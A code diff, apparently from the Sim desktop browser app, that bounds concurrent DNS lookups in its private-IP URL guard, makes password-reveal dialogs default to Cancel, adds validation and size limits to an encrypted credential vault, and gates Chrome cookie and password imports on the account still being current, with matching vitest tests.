||||
|
||||
const verdicts = Array.from({ length: 24 }, (_, index) =>
|
||||
isBlockedSubresourceUrl(`https://parallel-${index}.example/app.js`)
|
||||
)
|
||||
await vi.waitFor(() => expect(mockLookup).toHaveBeenCalledTimes(8))
|
||||
releases.splice(0).forEach((release) => release())
|
||||
await vi.waitFor(() => expect(mockLookup).toHaveBeenCalledTimes(16))
|
||||
releases.splice(0).forEach((release) => release())
|
||||
await vi.waitFor(() => expect(mockLookup).toHaveBeenCalledTimes(24))
|
||||
releases.splice(0).forEach((release) => release())
|
||||
await Promise.all(verdicts)
|
||||
|
||||
expect(peak).toBe(8)
|
||||
expect(mockLookup).toHaveBeenCalledTimes(24)
|
||||
})
|
||||
|
||||
it('bounds queued requests by the original DNS deadline', async () => {
|
||||
vi.useFakeTimers()
|
||||
try {
|
||||
mockLookup.mockReturnValue(new Promise(() => {}))
|
||||
const verdicts = Array.from({ length: 16 }, (_, index) =>
|
||||
isBlockedSubresourceUrl(`https://slow-${index}.example/app.js`)
|
||||
)
|
||||
await vi.advanceTimersByTimeAsync(5_000)
|
||||
|
||||
await expect(Promise.all(verdicts)).resolves.toEqual(Array(16).fill(true))
|
||||
expect(mockLookup).toHaveBeenCalledTimes(8)
|
||||
} finally {
|
||||
vi.useRealTimers()
|
||||
}
|
||||
})
|
||||
|
||||
it('treats a trailing-dot host as the same host', async () => {
|
||||
await isBlockedSubresourceUrl('https://example.com/a.js')
|
||||
await isBlockedSubresourceUrl('https://example.com./b.js')
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { createLogger } from '@sim/logger'
|
||||
import { resolveHostAddresses } from '@sim/security/dns'
|
||||
import { DEFAULT_DNS_TIMEOUT_MS, DnsTimeoutError, resolveHostAddresses } from '@sim/security/dns'
|
||||
import {
|
||||
isIpLiteral,
|
||||
isLoopbackIp,
|
||||
@@ -100,7 +100,7 @@ export async function checkAgentUrl(rawUrl: string): Promise<UrlGuardResult> {
|
||||
}
|
||||
|
||||
try {
|
||||
const { addresses } = await resolveHostAddresses(host)
|
||||
const { addresses } = await resolveHostAddressesBounded(host)
|
||||
if (addresses.some((address) => isBlockedAddress(address))) {
|
||||
logger.warn('Blocked agent navigation resolving to private IP', { host })
|
||||
return BLOCKED
|
||||
@@ -151,6 +151,57 @@ const HOST_VERDICT_TTL_MS = 30_000
|
||||
* bounded rather than left to grow.
|
||||
*/
|
||||
const MAX_HOST_VERDICTS = 256
|
||||
const MAX_CONCURRENT_DNS_LOOKUPS = 8
|
||||
const MAX_QUEUED_DNS_LOOKUPS = 64
|
||||
|
||||
let activeDnsLookups = 0
|
||||
const dnsLookupWaiters: Array<() => void> = []
|
||||
|
||||
async function acquireDnsLookupSlot(host: string, deadline: number): Promise<void> {
|
||||
if (activeDnsLookups < MAX_CONCURRENT_DNS_LOOKUPS) {
|
||||
activeDnsLookups++
|
||||
return
|
||||
}
|
||||
if (dnsLookupWaiters.length >= MAX_QUEUED_DNS_LOOKUPS) {
|
||||
throw new Error('DNS lookup queue is full')
|
||||
}
|
||||
const remainingMs = deadline - Date.now()
|
||||
if (remainingMs <= 0) throw new DnsTimeoutError(host)
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const grant = () => {
|
||||
clearTimeout(timer)
|
||||
resolve()
|
||||
}
|
||||
const timer = setTimeout(() => {
|
||||
const index = dnsLookupWaiters.indexOf(grant)
|
||||
if (index >= 0) dnsLookupWaiters.splice(index, 1)
|
||||
reject(new DnsTimeoutError(host))
|
||||
}, remainingMs)
|
||||
dnsLookupWaiters.push(grant)
|
||||
})
|
||||
}
|
||||
|
||||
function releaseDnsLookupSlot(): void {
|
||||
const next = dnsLookupWaiters.shift()
|
||||
if (next) {
|
||||
next()
|
||||
return
|
||||
}
|
||||
activeDnsLookups--
|
||||
}
|
||||
|
||||
async function resolveHostAddressesBounded(host: string) {
|
||||
const deadline = Date.now() + DEFAULT_DNS_TIMEOUT_MS
|
||||
await acquireDnsLookupSlot(host, deadline)
|
||||
try {
|
||||
const remainingMs = deadline - Date.now()
|
||||
if (remainingMs <= 0) throw new DnsTimeoutError(host)
|
||||
return await resolveHostAddresses(host, { timeoutMs: remainingMs })
|
||||
} finally {
|
||||
releaseDnsLookupSlot()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* The in-flight or settled verdict per host.
|
||||
@@ -216,7 +267,7 @@ export async function isBlockedSubresourceUrl(rawUrl: string): Promise<boolean>
|
||||
const cached = hostVerdicts.get(host)
|
||||
if (cached && Date.now() < cached.expiry) return cached.verdict
|
||||
|
||||
const verdict = resolveHostAddresses(host)
|
||||
const verdict = resolveHostAddressesBounded(host)
|
||||
.then(({ addresses }) => {
|
||||
const blocked = addresses.some((address) => isBlockedAddress(address))
|
||||
if (blocked) {
|
||||
|
||||
@@ -3,6 +3,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
const promptTouchID = vi.fn(async () => undefined)
|
||||
const canPromptTouchID = vi.fn(() => true)
|
||||
const showMessageBox = vi.fn(async () => ({ response: 1 }))
|
||||
const getFocusedWindow = vi.fn(() => null as { isDestroyed(): boolean } | null)
|
||||
|
||||
vi.mock('electron', () => ({
|
||||
systemPreferences: {
|
||||
@@ -18,6 +19,11 @@ vi.mock('electron', () => ({
|
||||
return showMessageBox
|
||||
},
|
||||
},
|
||||
BrowserWindow: {
|
||||
get getFocusedWindow() {
|
||||
return getFocusedWindow
|
||||
},
|
||||
},
|
||||
}))
|
||||
|
||||
vi.mock('@sim/logger', () => ({
|
||||
@@ -67,6 +73,7 @@ describe('authorizeForSecret', () => {
|
||||
vi.useRealTimers()
|
||||
revokeSecretAuthorization()
|
||||
setPlatform('darwin')
|
||||
getFocusedWindow.mockReturnValue(null)
|
||||
canPromptTouchID.mockReturnValue(true)
|
||||
promptTouchID.mockResolvedValue(undefined)
|
||||
})
|
||||
@@ -199,11 +206,26 @@ describe('authorizeForSecret', () => {
|
||||
expect.objectContaining({
|
||||
message: 'Copy password?',
|
||||
buttons: ['Cancel', 'Copy password'],
|
||||
defaultId: 0,
|
||||
cancelId: 0,
|
||||
detail: expect.stringContaining('copy a saved password'),
|
||||
})
|
||||
)
|
||||
})
|
||||
|
||||
it('parents fallback confirmation to the focused app window', async () => {
|
||||
canPromptTouchID.mockReturnValue(false)
|
||||
const parent = { isDestroyed: vi.fn(() => false) }
|
||||
getFocusedWindow.mockReturnValue(parent)
|
||||
|
||||
await authorizeForSecret(copyRequest('c1'))
|
||||
|
||||
expect(showMessageBox).toHaveBeenCalledWith(
|
||||
parent,
|
||||
expect.objectContaining({ message: 'Copy password?' })
|
||||
)
|
||||
})
|
||||
|
||||
it('fails closed when the fallback dialog cannot be shown', async () => {
|
||||
canPromptTouchID.mockReturnValue(false)
|
||||
showMessageBox.mockRejectedValueOnce(new Error('no window'))
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import { createLogger } from '@sim/logger'
|
||||
import { dialog, systemPreferences } from 'electron'
|
||||
import type { MessageBoxOptions } from 'electron'
|
||||
import { BrowserWindow, dialog, systemPreferences } from 'electron'
|
||||
|
||||
const logger = createLogger('BrowserCredentialAuth')
|
||||
|
||||
@@ -130,15 +131,20 @@ async function promptForSecret(reason: string, action: string): Promise<boolean>
|
||||
}
|
||||
|
||||
try {
|
||||
const { response } = await dialog.showMessageBox({
|
||||
const options: MessageBoxOptions = {
|
||||
type: 'warning',
|
||||
buttons: ['Cancel', action],
|
||||
defaultId: 1,
|
||||
defaultId: 0,
|
||||
cancelId: 0,
|
||||
message: `${action}?`,
|
||||
detail: `Sim is about to ${reason}. Make sure nobody can see your screen.`,
|
||||
noLink: true,
|
||||
})
|
||||
}
|
||||
const parent = BrowserWindow.getFocusedWindow()
|
||||
const { response } =
|
||||
parent && !parent.isDestroyed()
|
||||
? await dialog.showMessageBox(parent, options)
|
||||
: await dialog.showMessageBox(options)
|
||||
return response === 1
|
||||
} catch (error) {
|
||||
// Fail closed: if the confirmation cannot be shown, nothing is revealed.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { mkdtemp, readFile, rm, stat } from 'node:fs/promises'
|
||||
import { mkdtemp, readFile, rm, stat, truncate, writeFile } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
@@ -258,15 +258,78 @@ describe('CredentialVault', () => {
|
||||
await expect(vault.clear()).resolves.toBeUndefined()
|
||||
})
|
||||
|
||||
it('reads a corrupt or undecryptable vault as empty instead of throwing', async () => {
|
||||
it('preserves an undecryptable vault until clear explicitly resets it', async () => {
|
||||
const provider = encryption()
|
||||
provider.decryptString = vi.fn(() => {
|
||||
provider.decryptString.mockImplementationOnce(() => {
|
||||
throw new Error('wrong key')
|
||||
})
|
||||
const vault = new CredentialVault(vaultPath, encryption())
|
||||
await vault.importCredentials(CANDIDATES, 'keep-existing')
|
||||
const original = await readFile(vaultPath, 'utf8')
|
||||
|
||||
const brokenVault = new CredentialVault(vaultPath, provider)
|
||||
await expect(brokenVault.list()).resolves.toEqual([])
|
||||
expect(brokenVault.isAvailable()).toBe(false)
|
||||
await expect(brokenVault.importCredentials(CANDIDATES, 'replace')).resolves.toEqual({
|
||||
added: 0,
|
||||
updated: 0,
|
||||
skipped: 2,
|
||||
})
|
||||
await expect(readFile(vaultPath, 'utf8')).resolves.toBe(original)
|
||||
|
||||
await brokenVault.clear()
|
||||
expect(brokenVault.isAvailable()).toBe(true)
|
||||
await expect(brokenVault.importCredentials([CANDIDATES[0]], 'keep-existing')).resolves.toEqual({
|
||||
added: 1,
|
||||
updated: 0,
|
||||
skipped: 0,
|
||||
})
|
||||
await expect(brokenVault.list()).resolves.toHaveLength(1)
|
||||
})
|
||||
|
||||
it('preserves an oversized vault until explicit clear resets persistence', async () => {
|
||||
await writeFile(vaultPath, '')
|
||||
await truncate(vaultPath, 64 * 1024 * 1024 + 1)
|
||||
const vault = new CredentialVault(vaultPath, encryption())
|
||||
|
||||
await expect(vault.list()).resolves.toEqual([])
|
||||
expect(vault.isAvailable()).toBe(false)
|
||||
await expect(vault.importCredentials(CANDIDATES, 'replace')).resolves.toMatchObject({
|
||||
added: 0,
|
||||
})
|
||||
expect((await stat(vaultPath)).size).toBe(64 * 1024 * 1024 + 1)
|
||||
|
||||
await vault.clear()
|
||||
await expect(vault.importCredentials([CANDIDATES[0]], 'keep-existing')).resolves.toMatchObject({
|
||||
added: 1,
|
||||
})
|
||||
})
|
||||
|
||||
it('blocks a stored credential with fields outside the persistence contract', async () => {
|
||||
const provider = encryption()
|
||||
const payload = [
|
||||
{
|
||||
id: 'credential-1',
|
||||
origin: 'https://example.com',
|
||||
username: 'ada',
|
||||
password: 'secret',
|
||||
icon: { unexpected: true },
|
||||
createdAt: '2026-01-01T00:00:00.000Z',
|
||||
updatedAt: '2026-01-01T00:00:00.000Z',
|
||||
source: 'chrome',
|
||||
},
|
||||
]
|
||||
const original = JSON.stringify({
|
||||
version: 1,
|
||||
ciphertext: provider.encryptString(JSON.stringify(payload)).toString('base64'),
|
||||
})
|
||||
await writeFile(vaultPath, original)
|
||||
const vault = new CredentialVault(vaultPath, provider)
|
||||
|
||||
await expect(vault.list()).resolves.toEqual([])
|
||||
await expect(vault.importCredentials(CANDIDATES, 'replace')).resolves.toMatchObject({
|
||||
added: 0,
|
||||
})
|
||||
await expect(readFile(vaultPath, 'utf8')).resolves.toBe(original)
|
||||
})
|
||||
})
|
||||
|
||||
@@ -1,8 +1,13 @@
|
||||
import { readFile } from 'node:fs/promises'
|
||||
import type { BrowserCredentialMetadata } from '@sim/desktop-bridge'
|
||||
import { createLogger } from '@sim/logger'
|
||||
import { generateId } from '@sim/utils/id'
|
||||
import { safeStorage } from 'electron'
|
||||
import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json-file'
|
||||
import {
|
||||
FileResourceLimitError,
|
||||
readFileWithinLimit,
|
||||
removeFileIfPresent,
|
||||
writeJsonFileAtomically,
|
||||
} from '@/main/atomic-json-file'
|
||||
import { normalizeOrigin, normalizeUsername } from '@/main/browser-credentials/origin'
|
||||
|
||||
/**
|
||||
@@ -20,6 +25,16 @@ import { normalizeOrigin, normalizeUsername } from '@/main/browser-credentials/o
|
||||
*/
|
||||
|
||||
const VAULT_VERSION = 1
|
||||
const MAX_VAULT_FILE_BYTES = 64 * 1024 * 1024
|
||||
const MAX_VAULT_PAYLOAD_BYTES = 45 * 1024 * 1024
|
||||
const MAX_CREDENTIAL_RECORDS = 50_000
|
||||
const MAX_CREDENTIAL_ID_LENGTH = 128
|
||||
const MAX_CREDENTIAL_ORIGIN_LENGTH = 2_048
|
||||
const MAX_LOGIN_NAME_LENGTH = 4_096
|
||||
const MAX_SECRET_VALUE_LENGTH = 65_536
|
||||
const MAX_CREDENTIAL_ICON_LENGTH = 2 * 1024 * 1024
|
||||
const MAX_CREDENTIAL_TIMESTAMP_LENGTH = 64
|
||||
const logger = createLogger('BrowserCredentialVault')
|
||||
|
||||
export interface CredentialRecord {
|
||||
id: string
|
||||
@@ -65,11 +80,25 @@ function isCredentialRecord(value: unknown): value is CredentialRecord {
|
||||
const record = value as Record<string, unknown>
|
||||
return (
|
||||
typeof record.id === 'string' &&
|
||||
record.id.length > 0 &&
|
||||
record.id.length <= MAX_CREDENTIAL_ID_LENGTH &&
|
||||
typeof record.origin === 'string' &&
|
||||
record.origin.length > 0 &&
|
||||
record.origin.length <= MAX_CREDENTIAL_ORIGIN_LENGTH &&
|
||||
normalizeOrigin(record.origin) === record.origin &&
|
||||
typeof record.username === 'string' &&
|
||||
record.username.length <= MAX_LOGIN_NAME_LENGTH &&
|
||||
typeof record.password === 'string' &&
|
||||
record.password.length > 0 &&
|
||||
record.password.length <= MAX_SECRET_VALUE_LENGTH &&
|
||||
(record.icon === undefined ||
|
||||
(typeof record.icon === 'string' && record.icon.length <= MAX_CREDENTIAL_ICON_LENGTH)) &&
|
||||
typeof record.createdAt === 'string' &&
|
||||
record.createdAt.length <= MAX_CREDENTIAL_TIMESTAMP_LENGTH &&
|
||||
Number.isFinite(Date.parse(record.createdAt)) &&
|
||||
typeof record.updatedAt === 'string' &&
|
||||
record.updatedAt.length <= MAX_CREDENTIAL_TIMESTAMP_LENGTH &&
|
||||
Number.isFinite(Date.parse(record.updatedAt)) &&
|
||||
(record.source === 'chrome' || record.source === 'manual')
|
||||
)
|
||||
}
|
||||
@@ -97,6 +126,7 @@ export class CredentialVault {
|
||||
* failed disk write does not permanently poison subsequent mutations.
|
||||
*/
|
||||
private mutationTail: Promise<void> = Promise.resolve()
|
||||
private persistenceState: 'unknown' | 'writable' | 'blocked' = 'unknown'
|
||||
|
||||
constructor(
|
||||
private readonly filePath: string,
|
||||
@@ -122,7 +152,7 @@ export class CredentialVault {
|
||||
// returning false, and an unguarded call propagated out of a password
|
||||
// import. The site directory has always defended against it; this did not.
|
||||
try {
|
||||
return this.encryption.isEncryptionAvailable()
|
||||
return this.persistenceState !== 'blocked' && this.encryption.isEncryptionAvailable()
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
@@ -135,27 +165,59 @@ export class CredentialVault {
|
||||
private async read(): Promise<CredentialRecord[]> {
|
||||
if (!this.isAvailable()) return []
|
||||
try {
|
||||
const raw = JSON.parse(await readFile(this.filePath, 'utf8')) as
|
||||
| Partial<EncryptedVaultEnvelope>
|
||||
| undefined
|
||||
if (raw?.version !== VAULT_VERSION || typeof raw.ciphertext !== 'string') return []
|
||||
const parsed = JSON.parse(
|
||||
this.encryption.decryptString(Buffer.from(raw.ciphertext, 'base64'))
|
||||
) as unknown
|
||||
return Array.isArray(parsed) ? parsed.filter(isCredentialRecord) : []
|
||||
} catch {
|
||||
// A missing, corrupt, or undecryptable vault reads as empty rather than
|
||||
// throwing: the browser must stay usable, and a failed write is where
|
||||
// the user is told something is wrong.
|
||||
const raw = JSON.parse(
|
||||
(await readFileWithinLimit(this.filePath, MAX_VAULT_FILE_BYTES)).toString('utf8')
|
||||
) as Partial<EncryptedVaultEnvelope> | undefined
|
||||
if (raw?.version !== VAULT_VERSION || typeof raw.ciphertext !== 'string') {
|
||||
this.blockPersistence('invalid-envelope')
|
||||
return []
|
||||
}
|
||||
const decrypted = this.encryption.decryptString(Buffer.from(raw.ciphertext, 'base64'))
|
||||
if (Buffer.byteLength(decrypted, 'utf8') > MAX_VAULT_PAYLOAD_BYTES) {
|
||||
this.blockPersistence('resource-limit')
|
||||
return []
|
||||
}
|
||||
const parsed = JSON.parse(decrypted) as unknown
|
||||
if (
|
||||
!Array.isArray(parsed) ||
|
||||
parsed.length > MAX_CREDENTIAL_RECORDS ||
|
||||
!parsed.every(isCredentialRecord)
|
||||
) {
|
||||
this.blockPersistence('invalid-payload')
|
||||
return []
|
||||
}
|
||||
this.persistenceState = 'writable'
|
||||
return parsed
|
||||
} catch (error) {
|
||||
if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
|
||||
this.persistenceState = 'writable'
|
||||
return []
|
||||
}
|
||||
if (error instanceof FileResourceLimitError) {
|
||||
this.blockPersistence('resource-limit')
|
||||
return []
|
||||
}
|
||||
this.blockPersistence('read-failed')
|
||||
return []
|
||||
}
|
||||
}
|
||||
|
||||
private blockPersistence(
|
||||
reason: 'invalid-envelope' | 'invalid-payload' | 'read-failed' | 'resource-limit'
|
||||
): void {
|
||||
if (this.persistenceState !== 'blocked') {
|
||||
logger.warn('Credential vault persistence is unavailable', { reason })
|
||||
}
|
||||
this.persistenceState = 'blocked'
|
||||
}
|
||||
|
||||
private async write(records: CredentialRecord[]): Promise<boolean> {
|
||||
if (!this.isAvailable()) return false
|
||||
const payload = JSON.stringify(records)
|
||||
if (Buffer.byteLength(payload, 'utf8') > MAX_VAULT_PAYLOAD_BYTES) return false
|
||||
const envelope: EncryptedVaultEnvelope = {
|
||||
version: VAULT_VERSION,
|
||||
ciphertext: this.encryption.encryptString(JSON.stringify(records)).toString('base64'),
|
||||
ciphertext: this.encryption.encryptString(payload).toString('base64'),
|
||||
}
|
||||
await writeJsonFileAtomically(this.filePath, envelope)
|
||||
return true
|
||||
@@ -251,7 +313,17 @@ export class CredentialVault {
|
||||
for (const candidate of candidates) {
|
||||
const origin = normalizeOrigin(candidate.origin)
|
||||
const username = normalizeUsername(candidate.username)
|
||||
if (origin === null || candidate.password.length === 0) {
|
||||
const icon =
|
||||
candidate.icon && candidate.icon.length <= MAX_CREDENTIAL_ICON_LENGTH
|
||||
? candidate.icon
|
||||
: undefined
|
||||
if (
|
||||
origin === null ||
|
||||
origin.length > MAX_CREDENTIAL_ORIGIN_LENGTH ||
|
||||
username.length > MAX_LOGIN_NAME_LENGTH ||
|
||||
candidate.password.length === 0 ||
|
||||
candidate.password.length > MAX_SECRET_VALUE_LENGTH
|
||||
) {
|
||||
outcome.skipped += 1
|
||||
continue
|
||||
}
|
||||
@@ -262,8 +334,8 @@ export class CredentialVault {
|
||||
if (policy === 'keep-existing' || existing.password === candidate.password) {
|
||||
// A re-import still refreshes a missing icon; that is not a
|
||||
// credential change, so it does not count as an update.
|
||||
if (candidate.icon && !existing.icon) {
|
||||
existing.icon = candidate.icon
|
||||
if (icon && !existing.icon) {
|
||||
existing.icon = icon
|
||||
iconsAdded = true
|
||||
}
|
||||
outcome.skipped += 1
|
||||
@@ -272,17 +344,21 @@ export class CredentialVault {
|
||||
existing.password = candidate.password
|
||||
existing.updatedAt = timestamp
|
||||
existing.source = 'chrome'
|
||||
if (candidate.icon) existing.icon = candidate.icon
|
||||
if (icon) existing.icon = icon
|
||||
outcome.updated += 1
|
||||
continue
|
||||
}
|
||||
|
||||
if (records.length >= MAX_CREDENTIAL_RECORDS) {
|
||||
outcome.skipped += 1
|
||||
continue
|
||||
}
|
||||
const record: CredentialRecord = {
|
||||
id: generateId(),
|
||||
origin,
|
||||
username,
|
||||
password: candidate.password,
|
||||
...(candidate.icon ? { icon: candidate.icon } : {}),
|
||||
...(icon ? { icon } : {}),
|
||||
createdAt: timestamp,
|
||||
updatedAt: timestamp,
|
||||
source: 'chrome',
|
||||
@@ -305,6 +381,9 @@ export class CredentialVault {
|
||||
* machine cannot inherit the previous user's passwords.
|
||||
*/
|
||||
async clear(): Promise<void> {
|
||||
await this.serializeMutation(() => removeFileIfPresent(this.filePath))
|
||||
await this.serializeMutation(async () => {
|
||||
await removeFileIfPresent(this.filePath)
|
||||
this.persistenceState = 'writable'
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -81,6 +81,7 @@ function createDeps(overrides: Partial<ImportServiceDeps> = {}): ImportServiceDe
|
||||
readFavicons: async () => new Map<string, string>(),
|
||||
readSites: async () => [],
|
||||
rememberSites: async () => {},
|
||||
commit: (operation) => operation(),
|
||||
vault: {
|
||||
isAvailable: () => true,
|
||||
importCredentials: async (candidates) => ({
|
||||
@@ -347,6 +348,31 @@ describe('importChromeCookies', () => {
|
||||
})
|
||||
|
||||
describe('importChromePasswords', () => {
|
||||
it('does not commit passwords when account teardown begins during the source read', async () => {
|
||||
let releaseRead: ((result: ReadPasswordsResult) => void) | undefined
|
||||
const readResult = new Promise<ReadPasswordsResult>((resolve) => {
|
||||
releaseRead = resolve
|
||||
})
|
||||
let current = true
|
||||
const importCredentials = vi.fn(async () => ({ added: 1, updated: 0, skipped: 0 }))
|
||||
const deps = createDeps({
|
||||
readPasswords: () => readResult,
|
||||
commit: async (operation) => {
|
||||
if (!current) throw new Error('account expired')
|
||||
return operation()
|
||||
},
|
||||
vault: { isAvailable: () => true, importCredentials },
|
||||
})
|
||||
|
||||
const pending = importChromePasswords(undefined, 'keep-existing', deps)
|
||||
await vi.waitFor(() => expect(releaseRead).toBeTypeOf('function'))
|
||||
current = false
|
||||
releaseRead?.(readPasswords())
|
||||
|
||||
await expect(pending).resolves.toMatchObject({ error: 'unknown' })
|
||||
expect(importCredentials).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('stores decrypted passwords in the vault and reports counts', async () => {
|
||||
const importCredentials = vi.fn(async () => ({ added: 2, updated: 1, skipped: 0 }))
|
||||
const deps = createDeps({
|
||||
|
||||
@@ -43,6 +43,8 @@ export interface ImportServiceDeps {
|
||||
readSites: (historyPath: string, domains: ReadonlySet<string>) => Promise<ImportedSite[]>
|
||||
/** Records the hosts an import brought over, with their names and icons. */
|
||||
rememberSites: (records: readonly SiteRecord[]) => Promise<void>
|
||||
/** Admits a final persistent write only while its originating account is current. */
|
||||
commit: <T>(operation: () => Promise<T>) => Promise<T>
|
||||
vault: {
|
||||
isAvailable: () => boolean
|
||||
importCredentials: (
|
||||
@@ -218,7 +220,7 @@ async function runCookieImport(
|
||||
}
|
||||
}
|
||||
|
||||
const written = await deps.writeCookies(read.cookies)
|
||||
const written = await deps.commit(() => deps.writeCookies(read.cookies))
|
||||
const result: BrowserImportResult = {
|
||||
cookiesImported: written.imported,
|
||||
cookiesSkipped: skippedReading + written.failed,
|
||||
@@ -294,10 +296,8 @@ async function runPasswordImport(
|
||||
const candidates = read.credentials.map(
|
||||
({ sourceModifiedAt: _sourceModifiedAt, ...candidate }) => candidate
|
||||
)
|
||||
const outcome = await deps.vault.importCredentials(
|
||||
await withFavicons(candidates, profile.faviconsPath, deps),
|
||||
policy
|
||||
)
|
||||
const importedCandidates = await withFavicons(candidates, profile.faviconsPath, deps)
|
||||
const outcome = await deps.commit(() => deps.vault.importCredentials(importedCandidates, policy))
|
||||
const result: BrowserPasswordImportResult = {
|
||||
passwordsAdded: outcome.added,
|
||||
passwordsUpdated: outcome.updated,
|
||||
@@ -558,14 +558,16 @@ async function rememberImportedSites(
|
||||
: new Map<string, string>()
|
||||
|
||||
const importedAt = new Date().toISOString()
|
||||
await deps.rememberSites(
|
||||
sites.map((site) => ({
|
||||
hostname: site.hostname,
|
||||
name: site.name,
|
||||
icon: icons.get(originOf(site.hostname)),
|
||||
visits: site.visits,
|
||||
importedAt,
|
||||
}))
|
||||
await deps.commit(() =>
|
||||
deps.rememberSites(
|
||||
sites.map((site) => ({
|
||||
hostname: site.hostname,
|
||||
name: site.name,
|
||||
icon: icons.get(originOf(site.hostname)),
|
||||
visits: site.visits,
|
||||
importedAt,
|
||||
}))
|
||||
)
|
||||
)
|
||||
} catch {
|
||||
// Category only, like every other failure path here: the detail that would
|
||||
|
||||
@@ -5,6 +5,10 @@ import type {
|
||||
BrowserImportResult,
|
||||
BrowserPasswordImportResult,
|
||||
} from '@sim/desktop-bridge'
|
||||
import {
|
||||
captureAccountDataGeneration,
|
||||
runAccountDataMutation,
|
||||
} from '@/main/account-data-generation'
|
||||
import { importAgentCookies } from '@/main/browser-agent/session'
|
||||
import { credentialsAvailable, importCredentials } from '@/main/browser-credentials'
|
||||
import { readBrowserCookies } from '@/main/browser-import/chromium-cookies'
|
||||
@@ -28,6 +32,7 @@ import { rememberSites } from '@/main/browser-sites'
|
||||
* `import-service`. The IPC layer talks to this module and nothing deeper.
|
||||
*/
|
||||
function deps(): ImportServiceDeps {
|
||||
const generation = captureAccountDataGeneration()
|
||||
return {
|
||||
platform: process.platform,
|
||||
listProfiles: () => listAllBrowserProfiles(),
|
||||
@@ -38,6 +43,7 @@ function deps(): ImportServiceDeps {
|
||||
readFavicons: (faviconsPath, origins) => readBrowserFavicons(faviconsPath, origins),
|
||||
readSites: (historyPath, domains) => readBrowserSites(historyPath, domains),
|
||||
rememberSites: (records) => rememberSites(records),
|
||||
commit: (operation) => runAccountDataMutation(generation, operation),
|
||||
vault: {
|
||||
isAvailable: () => credentialsAvailable(),
|
||||
importCredentials: (candidates, policy) => importCredentials(candidates, policy),
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'
|
||||
import { mkdtemp, readFile, rm, stat, truncate, writeFile } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
@@ -74,6 +74,32 @@ describe('SiteDirectory', () => {
|
||||
])
|
||||
})
|
||||
|
||||
it('keeps sites from concurrent imports', async () => {
|
||||
const store = open()
|
||||
|
||||
await Promise.all([
|
||||
store.remember([{ hostname: 'github.com', name: 'GitHub' }]),
|
||||
store.remember([{ hostname: 'linear.app', name: 'Linear' }]),
|
||||
])
|
||||
|
||||
expect((await store.list()).map((site) => site.hostname).sort()).toEqual([
|
||||
'github.com',
|
||||
'linear.app',
|
||||
])
|
||||
})
|
||||
|
||||
it('applies concurrent imports and clear in invocation order', async () => {
|
||||
const store = open()
|
||||
|
||||
await Promise.all([
|
||||
store.remember([{ hostname: 'github.com', name: 'GitHub' }]),
|
||||
store.clear(),
|
||||
store.remember([{ hostname: 'linear.app', name: 'Linear' }]),
|
||||
])
|
||||
|
||||
expect(await store.list()).toEqual([{ hostname: 'linear.app', name: 'Linear' }])
|
||||
})
|
||||
|
||||
it('keeps an existing icon when a later import only learns a name', async () => {
|
||||
const store = open()
|
||||
await store.remember([{ hostname: 'github.com', icon: 'data:png' }])
|
||||
@@ -204,19 +230,44 @@ describe('SiteDirectory', () => {
|
||||
await expect(readFile(path)).rejects.toThrow()
|
||||
})
|
||||
|
||||
it('reads as empty rather than throwing on a corrupt file', async () => {
|
||||
await writeFile(path, 'not json at all')
|
||||
it('preserves a corrupt file until clear explicitly resets persistence', async () => {
|
||||
const original = 'not json at all'
|
||||
await writeFile(path, original)
|
||||
const store = open()
|
||||
|
||||
expect(await open().list()).toEqual([])
|
||||
expect(await store.list()).toEqual([])
|
||||
expect(store.isAvailable()).toBe(false)
|
||||
await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
|
||||
expect(await readFile(path, 'utf8')).toBe(original)
|
||||
|
||||
const clearing = store.clear()
|
||||
const remembering = store.remember([{ hostname: 'github.com', name: 'GitHub' }])
|
||||
await Promise.all([clearing, remembering])
|
||||
expect(store.isAvailable()).toBe(true)
|
||||
expect(await store.list()).toEqual([{ hostname: 'github.com', name: 'GitHub' }])
|
||||
})
|
||||
|
||||
it('ignores a directory written by a future version', async () => {
|
||||
await writeFile(path, JSON.stringify({ version: 99, payload: 'whatever' }))
|
||||
it('does not overwrite a directory written by a future version', async () => {
|
||||
const original = JSON.stringify({ version: 99, payload: 'whatever' })
|
||||
await writeFile(path, original)
|
||||
const store = open()
|
||||
|
||||
expect(await open().list()).toEqual([])
|
||||
expect(await store.list()).toEqual([])
|
||||
await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
|
||||
expect(await readFile(path, 'utf8')).toBe(original)
|
||||
})
|
||||
|
||||
it('drops a directory written before imported hosts became suggestions', async () => {
|
||||
it('does not overwrite a malformed legacy directory', async () => {
|
||||
const original = JSON.stringify({ version: 1 })
|
||||
await writeFile(path, original)
|
||||
const store = open()
|
||||
|
||||
expect(await store.list()).toEqual([])
|
||||
await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
|
||||
expect(await readFile(path, 'utf8')).toBe(original)
|
||||
})
|
||||
|
||||
it('replaces a valid legacy directory on the next import', async () => {
|
||||
// Version 1 was seeded from imported cookie hosts — mostly ad and analytics
|
||||
// origins — and those records only ever decorated a host the omnibox already
|
||||
// had. Version 2 records are offered as suggestions in their own right, so
|
||||
@@ -224,15 +275,47 @@ describe('SiteDirectory', () => {
|
||||
// dropdown. The payload below decrypts cleanly; it is discarded on meaning,
|
||||
// not on damage.
|
||||
const version1: SiteRecord[] = [{ hostname: 'doubleclick.net', name: 'DoubleClick' }]
|
||||
await writeFile(
|
||||
path,
|
||||
JSON.stringify({
|
||||
version: 1,
|
||||
